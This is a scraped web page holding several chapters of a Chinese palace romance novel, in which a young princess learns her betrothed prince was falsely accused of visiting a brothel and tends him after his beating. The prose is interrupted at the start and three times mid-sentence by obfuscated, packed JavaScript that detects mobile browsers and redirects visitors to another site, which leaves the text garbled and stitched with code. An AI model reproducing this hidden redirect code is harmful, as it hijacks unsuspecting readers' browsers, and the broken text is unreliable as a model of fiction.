l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216283|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，站起身。 忽地，脑子里有什么东西闪了一下。 不对。 萧征有秘密。很多秘密。 但“狎妓”这种秘密，不是他的风格。 定是有人陷害他。定是像上次一样，被人抓住把柄大做文章。 会是谁陷害他呢？ “萧启扬！”她提起裙角就往外冲。 被叫到名字的少年正夹在一群宗室子弟中间往外走，背影单薄，微微驼着背，像一只被雨淋湿的鹌鹑。听到少女清脆的一声唤，他旁边那群宗室子们立马像闻着腥的猫，齐刷刷转过头来。 “哎哟！”一个吊梢眼的少年立刻怪叫起来，“萧启扬！你好福气呀！” “华容郡主喊你呢！听见没有？” “快去快去！人家姑娘等着呢！” 几声尖锐的口哨刺破暮色。有人挤眉弄眼，有人故意去撞萧启扬的肩膀，撞得他踉跄几步。那吊梢眼的更是凑过来，压低声音猥琐地笑：“十七叔名声一坏，华容郡主马上就变了心了！你小子，掏上了啊！” 萧启扬的脸腾地涨红，一直红到耳根。他低着头，快步往前走，想甩开那些人的推搡，却被绊了一下，险些摔倒。 苏萦全当那些野猴子是空气，几步追到萧启扬面前，往他身前一站，拦住去路，直截了当地发问： “是你父王在朝堂上弹劾萧征的吗？” 萧启扬猛地抬头，对上她那双漂亮的眼睛，又像被烫了一下似的，慌忙别过头去。他抬手扶了扶鼻梁上的叆叇，那镜片厚得像琉璃瓶底，把一双本来就小的眼睛缩得更小。 “你，你个……外臣之女，也，也敢——” “也敢直呼你大名！”苏萦不耐烦地替他把话接上，“行吧，西河王世子。” 萧启扬有些受宠若惊地眨了眨两只小眼，对这称呼十分受用。 父王还没有正式立他为世子。他那个位子，还有好几个弟弟盯着。府里的人捏着鼻子叫他“大公子”，外人叫他“老八家那个”，堂兄弟们叫他“小矬子”“四眼狗”。 从来没有人，认认真真地，叫他一声世子。他和父王一样也有美丽的母亲，长相却比父王还猥琐不堪。驼背，口吃，不能远视，因此常受堂兄弟们的嘲笑欺负。萧祚也常无故殴打他，他脸上身上常有遮不住的伤痕。 “华，华容郡。”他微微挺直了脊背，努力想摆出几分皇亲贵胄的架子，嘴唇嚅动，露出长的过分的老鼠牙。他长到这么大，从没和除母亲之外的漂亮姑娘说过话，何况是苏萦这样，如玫瑰花般明艳俏丽的美人。他的眼神一直往旁边飘，飘到廊柱上，飘到石阶上，飘到远处那群还在嘻嘻哈哈看热闹的堂兄弟身上—— 那些人正朝他挤眉弄眼。 他的脸更红了。 “晋王今早什么时辰到你父王府上的？”苏萦的目光倒直率地逼到他脸上，密切注意着他的神情变化。 “我，我凭什么，告，告诉你……”他的声音虚得发飘，眼神更加慌乱地躲闪。 “他真来了？”苏萦两眼一亮。 萧启扬一惊，想说什么，越急越发不出声。 “我就知道是他！看他儿子那小人得志的样子！”苏萦一跺脚，不等他反应过来，已丢下他风风火火地跑走。 萧启扬愣在原地，望着苏萦跑远的背影，嘴巴张了张，又合上。 他闯祸了。 千万，千万不能让父王知道……恐惧把他的背压的更佝偻了几分。 远处传来一阵更大的哄笑声。 “萧启扬！人家问你话呢！你怎么不把人家留下来呀？” “就他那副尊容，还想留华容郡主？笑死人了！” 萧启扬的脸红得像要滴出血来。他低着头，快步往另一个方向走，脚步踉跄，又险些被自己的袍角绊倒。 身后，笑声像一群乌鸦，追着他飞了一路。 74.“我根本就没信。” 苏萦一径跑到玉栖宫外，正巧撞见一个人。 郭娑。 她今日穿了一身藕荷色的袄裙，外罩银灰披风，衬得她这个人愈发内敛端方。瞧见苏萦，她微微一怔，旋即弯起唇角，笑意恰到好处——不亲近，也不疏离，像隔着一层薄薄的纱。 “郭姐姐。”苏萦站定，胸口还在起伏，却已经压下了气喘，弯着眼睛笑着明知故问：“你怎么在这里？又来看母后？” “正巧姑姑家的大表姐前些日子定了亲，马上要出嫁了。姑夫让她到宫里来学礼仪，我从旁听听看看。”郭娑像是没听出那话里的试探，温声细语地答：“想着既进宫来，顺便去给娘娘请安。只是娘娘心情不好，我便不多扰了。” 她顿了顿，目光在苏萦跑得微红的脸上轻轻一扫，又添了一句：“妹妹，咱们做女子的，多学学规矩，总不会错的。” 苏萦轻哼一声。 “从古到今，对女子的规训可真不少。”她歪了歪头，语气天真，“姐姐你说，他们男子怎么没这么多条条框框拘着呢？我看呐，还是劝你表姐少学些吧——若是运气不好，嫁了个不检点的，名声差的，勤学苦练的这些，岂不全枉费了。” “妹妹说笑了。”郭娑的笑意依旧温婉，声音也依旧柔和，只是那柔和里多了几分说不清的意味，“女子婚前不将夫婿的底细打探清楚，是万不能草草将自己后半生许了出去的。” 她看着苏萦，目光里有什么东西一闪而过。 “华容妹妹，”她忽然放轻了声音，“十七殿下怎样了？我听说十七殿下出了事，想来问问有什么能帮忙的。只可惜，没见到他的面。” “郭姐姐，这事你可问错人了。妹妹住得远，不如你消息灵通，萧征的事，你一定听说的比我多。”苏萦眨巴着无辜的大眼睛，盯着郭娑的脸，一寸一寸地看。 那脸上有忧色，有恰到好处的关心——可偏偏没有鄙夷。 “姐姐，别人说的我都不信，我就信姐姐说的。萧征他狎妓了吗？” “华容妹妹！”郭娑没想到苏萦问得如此直接，睫毛扑朔，窘得涨红了脸：“这种事……咱们女儿家不该问的。” “哦。”苏萦皱起眉头，仿佛在思索什么，“我听你刚才那些话，你也不像是个眼里能揉沙子的。” 郭娑的笑容微微一顿。 “萧征若真的狎妓，”苏萦盯着她的眼睛，玩味地一笑，“你此时该羞于提及他了。对吗？” 郭娑没有回答。 可她那一瞬间的沉默，已经是答案。 “他没狎妓，是不是？”苏萦上前一步，逼到她面前，“此事就是你姑父搞的鬼，实情你们肯定是知道的，是不是？” 郭娑的睫毛轻轻颤了一下。 那一下很轻，轻得几乎看不出。可苏萦看见了。 “他没有！”她忍不住脱口而出，倒退一步，声音里带着压抑不住的怒意，“萧谅凭什么诬告他？！我要去找母后说清楚！” 她转身就要往玉栖宫里冲。 “华容妹妹慎言！”郭娑一把拉住她的手腕。 苏萦回头，对上那双温婉的眼睛——此刻那温婉里暗藏了一丝威胁与警告。 “你有证据吗？”郭娑压低声音问。 “你们就有吗？”苏萦挣开她的手，激动得眼眶泛红，“你们造谣一张嘴！说他离宫狎妓——你们倒拿出证据来啊！” 郭娑看着她，那目光里闪过一丝复杂的意味。 良久，她轻轻叹了口气。 “妹妹……”她的声音很轻，轻得像一片羽毛落在水面上，“有些事，不是非黑即白的。” 苏萦不可置信地望她一眼，不屑地冷哼一声。 “是吗？”她歪了歪头，嫌弃地撇了撇嘴：“我倒从不像姐姐爱穿灰色。” 郭娑的脸色微微变了变。 苏萦已经转过身，头也不回地跑了。 郭娑站在原地，望着那道跑远的背影，久久没有动。 风从廊下穿过，吹起她银灰披风的一角。她垂下眼，轻轻叹了一口气。 袁鸣是从刑房里被抬出来的。 主仆同责，萧征挨打，他自然也逃不掉。二十大板，打得他皮开肉绽，被人两边架着送回萧征住处旁边的耳房。他趴在床上疼得龇牙咧嘴，心里还庆幸：还好娘子不知道我去的是那种地方……等伤好了，得编个什么理由…… 门突然被推开。 袁鸣抬头，差点从床上滚下去。 “郡，郡主？！” 苏萦直接跨进门槛，半句废话也没有：“袁鸣，是你陪他去的？真像他们说的那样吗？” 袁鸣咽了口唾沫，脑子里飞快地转着。说真话？说假话？殿下交代过不能说…… 可他看着苏萦那双哭肿了的眼睛，忽然觉得，什么都不说，才是对她最大的残忍。 “……只有离宫，没有狎妓。”这一解释，反倒把他心里的冤屈勾了出来，调门都抬高了，又急又委屈地控诉：“我们……哎呀，我们在包房里只点了一壶茶呀郡主！还是传说从您父亲那儿买的！雨前龙井！” “一壶茶？”苏萦不可置信地瞪着袁鸣，“你们大半夜去那种地方，就为了喝一壶茶？！” “那怎么可能呢！我们是去查，查……”袁鸣在苏萦焦急的注视下声音越来越小，心虚地眼珠乱转着哼哼：“查……殿下让属下打死也不能说的东西。” 苏萦悻悻地垮起小脸：“那，查到了吗？” “要是查到了，属下现在能这样吗……”袁鸣像条丧家犬似的可怜巴巴地垂下头。 “啊，查萧谅！”苏萦脱口而出，雀跃地打了个响指。 “哎！哎哎哎！”袁鸣急得两手乱挥：“可不是属下告诉您的啊！是您自己猜出来的！” “是我自己猜出来的——！”苏萦拖着长声让他宽心：“等会儿，你说茶是从我父亲那儿买的？” “正是！说他们掌柜和嘉裕侯有旧，出了这个门可再喝不到这么好的……” “与我父亲有旧。”苏萦环抱两臂，一挑眉毛：“那只要我让父亲一打听就可知道。你敢告诉我，不是蠢，就是不怕我查，是不是？” “是！”袁鸣忙答，又警觉地皱了皱眉：“诶？不是，不是蠢，是不怕查！郡主您可真是的，属下什么时候蠢了……” “我跟你说笑话呢。”苏萦笑嘻嘻摆了摆手：“我跟娘娘说去，许你娘子进宫来陪你几天好不好？” “别别别！”袁鸣发急，撑起上身简直要爬起来：“郡主，我这样子可千万不能让我娘子看见！” “为什么？”苏萦不解，“她会很担心你的！” “我这样子再吓着她。”袁鸣很不好意思地挠挠头：“我先在宫里缓两天，等能走动了，我就出宫回家去。殿下许了我半个月的假期，我正好在家陪陪我娘子，嘿嘿！她肚里的孩子才会动，可好玩呢！” “三天不回家，你不怕她生你的气？还紧着贴上去？” “那怕什么？错了就得认，挨打要立正，坦白从宽嘛！”袁鸣一脸直率坦荡。 苏萦看看他认真的表情，“扑哧”一声笑了，从怀里掏出一个小瓷瓶：“这个给你。敷上睡一宿觉，明天就能回家见娘子了。” ——— 夜深了。 萧征昏昏沉沉地醒过来，第一个感觉就是疼。 伤口已经被太医清洗包扎过，裹着一层又一层的细麻布。可背上此时仍是火烧火燎，像被人用烙铁来回熨着。房里的地龙烧的旺，他身上却还一阵一阵地发冷。 “水……” 喉咙里发出的声音沙哑的吓人。 “给我倒碗水……” 没有回应。 他艰难地微微侧过头，隐隐约约看见个年轻内侍背对着他远远地坐在茶桌前，桌边的宫灯把他的侧影映在墙上，像是在默默地吃什么东西。 房间里太黑了，萧征又痛得恍恍惚惚，见那人不动，简直疑心是自己在做梦。 他等了一会儿，又喊了一声。这次，他听见了轻微的动静——那人起身，倒了水，径直朝他走过来。 一盏绿莹莹的荷叶吸杯捧到他脸前。他小时候有个一模一样的，早几十年没见过了，哄孩子的玩意儿。 吸嘴儿似乎带着怨气捅进他嘴里，顶着他嘴唇磕在牙上。 他吃痛，恼怒地抬起眼来，待看清了眼前的人，一下子吓得什么气都消了。 “未晚？！你怎么在这儿——几更了？”他慌忙抬起脖子朝窗外张望，一片漆黑。 “谁是未晚？我是赏明宫的雀头。”苏萦穿着身青灰色的小内侍袍，头发全塞在帽子里，气哼哼地，神色倔强得像只炸毛的猫，“奉我们郡主之命，来看看宫里前日出的嫖客长什么模样儿。” 萧征张了张嘴，却一个字也说不出来。 “喝水。喝完了我再跟你吵。”吸嘴儿又送到他嘴边。 吸杯里的水位一点点降下去。他这次伤在背上，不便起身，胸膛紧贴着床板伏着，连枕头都枕不得，亏得她仔细，不知从哪儿掏弄出这么个喝水的小玩意儿来。 苏萦把喝空了的吸杯往床头小几上一搁，抱起手臂，居高临下地睨着他，等了片刻。 “为什么不解释？”见他倔强地沉默，她的眼眶又红了，“袁鸣都和我说了。” “……你还小。”他终于开口，声音沙哑得几乎听不清，“有些事……不能让你知道。” “我不小了！” 苏萦的声音骤然拔高，又硬生生压下去，怕惊动外头的人。她咬着唇，眼泪在眼眶里打转：“过了年，我就十五岁了！母后要给我办及笄礼了——你，你们都是这样……” 她死命攥着自己的手心，想起总不在府里的父母，想起那好不容易完成却音讯全无的三个锦囊任务，想起自己一个人躲在柜子里，听他和袁鸣计划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222306|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些她不能参与的冒险。 “总是这样！”她的眼泪终于滚下来，声音里带了哭腔，“什么都不告诉我！什么都瞒着我！你以为你是为我好，可你知道我有多……多……” 她说不下去了。 萧征看着她，心像被人攥住了一样地疼。 “未晚……别哭。” “你真的……”苏萦吸着鼻子，努力让自己的声音稳住，“你真的像他们说的那样？” 萧征喉咙发紧。 他想说“不是”，想说“我去那里是有原因的”，可那些原因，他一个字也不能对她说。 苏萦却忽然笑了。 那笑容混着眼泪，狼狈又倔强。 “我不信。”她摇着头，“我根本就没信。” 她深吸一口气，跪到床边地上，直视着他的眼睛： “你偷偷告诉我——你去那儿干什么？” “未晚……”他艰难地开口。 苏萦冷笑一声，站起来。 “疼不疼？” 萧征一愣，沉默片刻，轻轻眨了眨眼。 “……疼。” “疼死你。”苏萦气得惨笑一声，流着泪，恨恨地跺脚，“疼死你个哑巴！” 撂完这句狠话，她蹲下来，把脸埋在臂弯里，把自己抱成一小团哭了。 萧征喉咙发紧。 烛光在她身上青灰色的内侍服上跳动，一缕青丝从帽中顽皮地钻出来。他忽然想起前世的许多个夜晚，她坐在他身边，问他朝堂上的事，他说“你别管”。她问他军中的事，他说“你不懂”。她问他心里的事，他说“没什么”。 后来她就不问了。 再后来，她走了。 “……未晚。”他听见自己的声音，沙哑得像从胸腔里碾出来的，“等我查清楚了，能说的，我都告诉你。” 苏萦没抬头，只是停止了抽泣。 “我发誓。”他的喉结上下滚动了两下：“我全都告诉你。” 静静地等了很久，久到萧征以为她不会回答了，她才带着很重的鼻音，闷闷地“嗯”了一声。 苏萦站起来，自己抹了一把满脸的泪水，走回茶桌边把她刚才吃的小碗拿过来，席地坐在他床边。眨巴眨巴湿漉漉的大眼睛，用勺子在碗里搅了搅。 “吃的什么？”他没话找话说。 她转回头，喂了他一勺。 浓浓的一勺玫瑰卤子。简直一滴水也没掺。 “这也太甜了！”萧征震惊，“你刚就空嘴吃这个？！” “我，我心情不好嘛！都怪你气我！”她本来就余怒未消，又添了羞恼，伸手就去拧他的耳朵。 “呃啊！”他痛得轻叫一声，“前日都叫你抓破了，你还——”他紧贴着床板趴着，声音闷闷的，语气莫名地委屈，简直像撒娇。 夜半三更，孤男寡女，做什么都像暧昧。 “别说话。”她红了脸，松开手，语气还凶巴巴的：“睡觉。我守着你。” 萧征想说“你该回去了”，想说“被人发现怎么办”，可看着她那张倔强的脸，那些话便都说不出口了。 他轻轻叹了口气，闭上眼。 黑暗里，有一只小手悄悄探过来，握住了他垂在床沿的手指。 那手温热，握得很紧。 萧征没有睁眼，也没有动。 伤痛在夜里总是更难捱，醒了便很难再入睡。背上像着了一团火，辗转间疼痛不堪。 她倒睡着了，歪坐在地上，脑袋枕在床边。额头抵着额头，她平稳的呼吸浅浅地略过他高挺的鼻梁。一放松，她握着他的小手掉了下来。他把手垂下去，仍旧塞到她小小的掌心里。 这丫头，心里不装烦心事的，这么快就睡着了。 到底是谁守着谁啊？ 他微微仰起脸，偷看她恬静的睡颜。 要一直这样。 苏未晚，要一直做无忧无虑的姑娘。 窗外，腊月的寒风刮过宫檐，卷起残雪。屋内炭火烧得正暖，烛光摇曳，照着床边两道交叠的影子。 门外，周福海轻轻往炉里添了一块炭，直起身，看了一眼后庑房那扇透出微光的窗，悄无声息地退后几步，走上那条通往正殿的小路。 ——— 步皇后坐在灯下，手中捧着一卷书，却半天没有翻动一页。 周福海轻轻走进来，躬身道：“娘娘，那位‘小内侍’进去有半个时辰了。” 步皇后眼皮都没抬：“嗯。” 周福海等了片刻，见没有下文，试探着问：“要不要奴才……” “不用。”步皇后终于翻了一页书，声音淡淡的，“让她待着。睡得不舒服，也是她自找的。” 周福海应了声“是”，退到一旁。 烛火轻轻跳动。步皇后望着那簇火苗，嘴角微微弯了一下，很淡，淡得几乎看不出。 窗外，夜还很长。 75.“当我们是来抓你的？” 天快亮时，萧征才勉强睡着。睡了不知有没有一个时辰，又被窗外的响动声吵醒。 后庑房这位置实在尴尬，紧挨着玉栖宫后墙，又不算真正的内院，杂役、内侍、送炭的、送水的，从门口那条夹道来来往往，脚步声混着低语声，清清楚楚。 萧征皱了皱眉，艰难地活动活动僵硬的脖颈正欲再睡，忽然听见门前有挨得极近的响动——有人在廊下停住了。 不是路过，是紧贴着门板候着呢。 他心里一慌，抬眼望向与他头碰头睡着的苏萦。 小姑娘的一张小脸枕在自己手臂上，睡得脸颊都压出了红印子，嘴角微微张着，毫无防备。 “未晚。”他压低声音唤她。 没醒。 “未晚！”他撑起身子，忍着背上的疼，伸手轻轻推了推她的肩。 苏萦一个激灵，猛地睁开眼，迷迷糊糊地瞪着他，眼神还涣散着：“嗯？怎么了……要喝水？” “有人来了。”萧征压低声音，目光扫向门口，“你快躲起来。” 苏萦愣了愣，顺着他的目光看向门口，又回头看看这间屋子——本是堆杂物的仓房，昨日才收拾出来，摆上伶仃几样家具：一张榻，一张桌子，墙角一只半人高的旧木柜，柜门还开着，里头堆着几床旧褥子。 一目了然。 往哪儿躲去？ 她“扑棱”一下站起来，头昏昏的，简直像个宿醉的人，压了半宿的胳膊也麻的厉害，还没等躲到哪儿去，险些自己先摔个大跟头。 门外传来一声轻轻的咳嗽。 是周福海的声音。 萧征和苏萦同时露出恐怖的神色。 “周公公！”萧征急惶惶先声夺人：“本王昨夜没休息好，要再睡一会儿，有什么事——你都等会儿再来吧！” “启禀十七殿下，”周福海的声音隔着门板传来，不疾不徐，洞悉一切似的含着笑，“嘉裕侯与保康公主已到正殿，正与皇后娘娘叙话。娘娘吩咐，请郡主过去相见。” 苏萦的脸“腾”地红了。 萧征的耳根也烧了起来。 苏萦咬了咬嘴唇，低下头，开始整理自己。 她先抬手揉了揉脸，把枕出来的那两道红印子使劲搓了搓，又摸了摸头发——昨儿夜里胡乱塞进帽子里的一头青丝，此刻早已散得不成样子。她咬着发带，手忙脚乱地重新挽，挽了三回都挽不利索，急得直跺脚。 萧征看着她，沉默了一息，朝她伸出手去。 “坐过来。” 苏萦红了脸，扭扭捏捏坐到床前，背过身去。 “别动。” 他的声音低低的，手指轻轻拢过她脑后的碎发，动作有些生涩，三两下挽成一个简单的髻，把发带绑好。 绑的有些紧，头皮绷绷的，苏萦不舒服地自己扯了扯，不好意思转过头去。 这算什么？交杯酒还没吃，倒先梳上头了。 两人都默着，要不是外头门上那道人影无声地催着，说不定要在这儿一前一后呆到什么时候。 苏萦深吸一口气站起来，低头看向自己身上那件皱巴巴的小内侍袍服——昨儿穿了一夜，袖口蹭了灰，衣襟压出了褶子，此刻怎么看怎么不像样。那顶内侍帽被她拿在手里，戴也不是，不戴也不是。 戴吧，谁看不出来她是假扮的，能瞒过谁去？ 不戴吧，就这么光着头去正殿？ 她咬了咬牙，把帽子往萧征榻上一扔，硬着头皮走向门口。 走到门边，手按上门闩，又停住了。 她回过头，看向榻上的萧征。 萧征也看着她。 两人谁都没说话，只是那样看着。 “……一会儿到了前面，你机灵点儿。”萧征终于艰难开口：“就说……说我非叫你过来的。” 苏萦听了这话，反倒松下来不少，嗤笑着睨他一眼，扔下一句：“就属你最不机灵了！”拉开门，头也不回地走了出去。 门在身后合上。 周福海垂首立在廊下，见她出来，眼皮都没抬一下，只微微躬身：“郡主，请随老奴来。” 苏萦跟着他往前走，走了几步，忍不住回头看了一眼那扇紧闭的门。 周福海径直往前走着，像是什么都没在意。 ——— 玉栖宫正殿。 苏萦跟在周福海身后跨进门槛，殿内暖意扑面而来，一室融融的香气。 她低着头，一步一步往里走，眼睛只敢盯着自己的脚尖。那双靴子太大了，雀头怕她嫌弃，给她拿了双新做的，也是大的出奇，走起路来鞋跟空落落的，险些绊了自己一下。 殿内有人轻轻笑了一声。 “哟。” 那声音带着笑，懒洋洋的，是她再熟悉不过的语调。 “这小宫人，睡迷了？还不睁眼看看，走到哪儿来了？” 苏萦猛地抬头——苏侯正立在皇后下首，双手拢在袖中，笑眯眯地看着她，那双总是让人看不透的眼睛里，此刻盛满了毫不掩饰的趣味。 步皇后端坐在上首，手里捧着一盏茶，正垂眸啜饮着，唇角却微微弯着，像是在忍笑。 她母亲坐在皇后身边，穿着一身鞓红色的家常袄裙，正歪着头打量她，那眼神里带着三分好笑、三分心疼、更有几分“你这丫头可真行”的无奈。 三个人，六只眼睛，齐刷刷落在她身上。 苏萦站在殿中央，一身皱巴巴不合身的小内侍袍服，头发虽然重新挽过了，鬓边却还有几缕碎发不安分地翘着，脸上那两道枕出来的红印子还没完全消下去，眼皮也因为昨日哭的太多而微微肿着。 “女儿给母后请安，给父亲母亲请安。”她瓮声瓮气的请安，两眼瞥着地面。 乔望舒放下手里的茶盏，上上下下打量了她一遍，忽然“噗嗤”一声笑了出来。 “我们未晚这是怎么了？”她歪着头，语气里带着故意夸张的惊讶，“昨儿晚上赏明宫遭贼了？把你衣裳偷了，就留这么一身？” 苏萦的脸更红了，咬着嘴唇，恨不能找条地缝钻进去。 步皇后终于抬起头，看了她一眼。那目光淡淡的，却带着一点只有她们两人才懂的东西——像是默许，像是了然，也像是一点点无奈的纵容。 “过来。”步皇后说。 苏萦低着头，一步一步挪过去。走到皇后跟前，站住了，不知道该往哪儿看。 “抬头。” 她抬起头。 步皇后看着她那张狼狈的小脸，沉默了一会儿。然后，她伸出手，用指尖轻轻蹭了蹭她脸上那道还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235188|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消下去的红印子。 “压的？” 苏萦的脸烫得像要烧起来，轻轻点了点头。 步皇后收回手，端起茶盏，喝了一口，语气淡淡的：“那屋里冷不冷，昨晚睡得累不累？” 苏萦愣住了。她鼻头一酸，眼眶里忽然涌上一股热流。 她也不知道自己在委屈什么——是因为被抓住了？是因为这样子太狼狈了？还是因为……因为太久没见到父亲母亲了，此刻忽然看见他们，那些憋了一夜的委屈一下子涌上来了？ “娘！”她干脆也不再忍着，转身一头扎进母亲怀里。 “好了好了，”乔望舒轻轻抚着苏萦的背，语气里带着笑，可那笑里分明也有一丝心疼，“哭什么？又不是什么大事。娘娘早知道了，你当我们是来抓你的？” 苏萦埋在她怀里，闷闷地吸着鼻子。 苏予夺不知什么时候也走了过来，站在旁边，笑嘻嘻地伸手轻轻捻了捻她头顶那几缕翘着的碎发。 “我们未晚长大了，”他语气神神秘秘，像在说什么了不得的大事，“会自己跑去找人了？” 苏萦从母亲怀里抬起头，红着眼眶瞪他一眼。 苏予夺举起双手，做投降状：“好好好，不说了不说了。” “好好儿地给你们养了十年，都没出过什么岔子。”步皇后难得俏皮地一翻白眼：“今儿你们一来，倒撞见她这副模样，好像本宫没教好似的。” 苏萦正趴在母亲怀里抽抽搭搭，听见这话，耳朵一动，偷偷微侧过脸露出一只红红的眼睛，像只偷窥的小兔子。 “瞧娘娘说的！”苏予夺呵呵笑道：养得好不好，交到娘娘手里就没有不放心的！” “就是，养了十年还这么没出息，足见娘娘多纵着她。”乔望舒嗔怪地在苏萦通红的小鼻头上刮了一下。 苏萦把脸埋回母亲怀里，闷闷地哼了一声，也不知是抗议还是撒娇。 “好了，”乔望舒低头看她，伸手用拇指替她擦掉脸上的泪痕，“饿不饿？” 苏萦愣了愣，摇头。 “困不困？” 她想了想，点头。 “走吧，”乔望舒搀她起身，“跟母亲回去睡觉。睡醒了，再想想怎么跟我们交代——你昨儿晚上，到底是怎么溜进去的？” 苏萦的脸又红了。 她回头看向步皇后：“母后，那我……” 步皇后端着茶盏，轻轻吹了吹茶沫，头也不抬地说：“去吧。睡醒了再来。” 苏萦咬了咬嘴唇，轻轻“嗯”了一声。 走到殿门口，她忽然停住脚步，回过头。 “母后……”她小心翼翼地开口：“萧征他一定饿了，从昨晚就没吃东西呢。” 皇后玩味地一笑：“他能吃吗？” “母后！”苏萦发急：“母后明察秋毫，一定知道他是被冤枉的！您行行好，就给他吃饭吧！” 一转念想到皇后的意思可能是“他疼得吃不下”，苏萦窘迫不已，挽着她母亲快步跑出去，身后隐约听见她父亲低低的笑声。 苏予夺笑眯眯地朝皇后拱了拱手，才跟着走了出去。 “咱们未晚会疼人哟！”苏侯追上母女俩，故意嬉皮笑脸地哼。 “苏予夺！”乔望舒嫌弃地白了他一眼。 76.墨锭、胭脂、茶叶 “娘，这衣裳颜色显老，以后不穿这件了。” 还没进赏明宫的门，苏萦就扯着母亲的袖子，皱着小眉头抱怨。 “又显老了？”乔望舒低头看看自己身上那件鞓红色的袄裙，哭笑不得：“看来我眼光是真不行。前几日你爹出去了，没给我把关，我就自己让人裁了这么两三件衣裳，结果家里家外，没一个人见了不嫌弃的。” 苏萦抿着嘴笑。 她知道，娘穿衣服总是马马虎虎的。 不像爹。 她偷偷瞟了一眼跟在后面慢悠悠踱进来的苏予夺。人到中年，胖的没腰身了，可那一身打扮，衣袍鞋靴，头上的发冠，腰间的香囊玉佩，从来都是配得整整齐齐，相映成趣。今日进宫穿的这件石青色袍服，领口袖口压的暗纹，和腰上那块玉的形制色泽都是有呼应的。 她听人说过，爹年轻时候初开华绣坊，裕隆叔祥发叔那些年轻漂亮的伙计，连带爹自己，都是行走的衣架子，店里的活招牌，穿戴都是顶好的。常有怕麻烦的客人扯着店里伙计的袖子说：“照你这样的，给我来一件就得！” 娘说第一次看见爹的时候，爹穿一件大花绸圆领袍，色彩浓烈，纹样复杂得晃眼，爹没转过身来之前，娘简直怀疑他是胡人。腰间的蹀躞带上挂一条貂尾，爹年轻的时候性格比现在更跳脱得多，那貂尾便毛绒绒的在屁股后面一甩一甩。 娘从没见过像爹那么爱笑爱闹的男人，当时心想：一看就是京城里典型的轻浮浪荡子，将来碰见一定要绕着走才行。 爹说，娘年轻的时候一张圆盘脸，两只警惕的大眼睛，看向他的时候，脸上一点笑模样都没有。明明是那么漂亮的姑娘，却一点儿不知道打扮自己，身上穿的大红布衣裳，简直让人怀疑是乡下里做被面的料子。爹打听到了娘的名字，便凑近来小声逗她道：“月亮姑娘？” 娘瞪爹一眼：“我认得你，你是那天那个狗尾巴！” 苏萦爱听爹娘年轻时候的故事，虽然他们说的很少，她也并不常央着他们多说。她偷偷地羡慕他们，没有父母之命，媒妁之言，在大街上就撞见了要和自己携手一生的有情人。 不像她，五岁那年被领到宫里来，所有人都明着暗着告诉她，她将来迟早是要嫁给萧征的。 她也只好庆幸，亏得看见萧征的第一眼，他就合她的眼缘。要是萧征如他弟弟一般一看就可知是个讨厌鬼，她又该怎么办呢。 ——— 赏明宫上下原本噤若寒蝉。 苏萦被周福海带走时那副狼狈相，早有人悄悄传话回来：郡主穿着小内侍的袍子从后庑房出来，脸上还带着枕头印子。 下人们面面相觑，心都悬到了嗓子眼。 娘娘知道了会不会发落？ 侯爷和公主要是撞见了可怎么好？ 此刻见一家三口有说有笑地相携而来，那些颗悬着的心才都纷纷落回肚子里。一时间满院子的人都活泛起来，忙着张罗早膳，端热水，添炭火，进进出出，热闹得像过年。 蜜合和苕荣过来伺候苏萦梳洗装扮，比平时要紧张得多，担心侯爷是此中行家，总不免要点评几句。苏侯觉察了小姑娘们的心思，笑了笑，自己站起来躲到外头看梅花去。 夫妻俩早上进宫前吃过了，早膳端上桌，便只围坐在桌旁，欣慰地看着女儿吃饭。苏萦吃得狼吞虎咽，腮帮子鼓得像只小仓鼠。 “慢点慢点，”乔望舒伸手拿帕子给她擦擦嘴角，“又没人跟你抢。” 苏萦皱着眉头含糊不清地嘟囔：“我饿。” “刚在娘娘那儿，不是还说不饿吗？” “刚才是怕娘娘骂她，吓得不敢饿了。” 苏予夺当着闺女的面儿，总有那个看破就说破的烦人劲儿。 苏萦瞪他一眼，脸微微红了，低头继续扒饭。 吃罢饭，她反而精神起来了，原本那股困意不知跑哪儿去了，缠着爹娘说话，舍不得他们走：“你们别急着走啊，再坐一会儿嘛！” 乔望舒看向苏予夺，苏予夺看向乔望舒。 两人交换了一个眼神。 那眼神里有什么东西，苏萦没看懂。 “你们都下去吧。”苏予夺忽然开口，语气还是懒洋洋的，可话里的分量不一样了。 屋里的内侍宫女们应了声，鱼贯退了出去，门在身后轻轻合上。 苏萦的心忽然提了起来。 她看看爹，又看看娘——方才还笑眯眯的两个人，此刻面色忽地凝重起来，正你看着我，我看着你，眼神里推来挡去的，像是在进行一场无声的较量。 “谁来说？”乔望舒用气声问。 “你说吧？”苏予夺也用气声回。 “我说？我可说不好，万一——” 两人越说越快，越说越急，都含在嘴里嗡嗡嗡的，像两只苍蝇在吵架。 苏萦看得心里发毛，终于忍不住开口： “爹，娘，你们两个……不会要和离吧？！” 两人同时愣住。 乔望舒“噗”地笑出声来，连连摆手：“没有没有！没那么严重！” 苏予夺却把眉毛一竖，眼神里闪过一丝顽皮的光：“你别说，比那个还严重！” “啊？！”苏萦脸都白了，一双大眼睛惊恐地交替看向父母，“是谁死了吗？还是……” 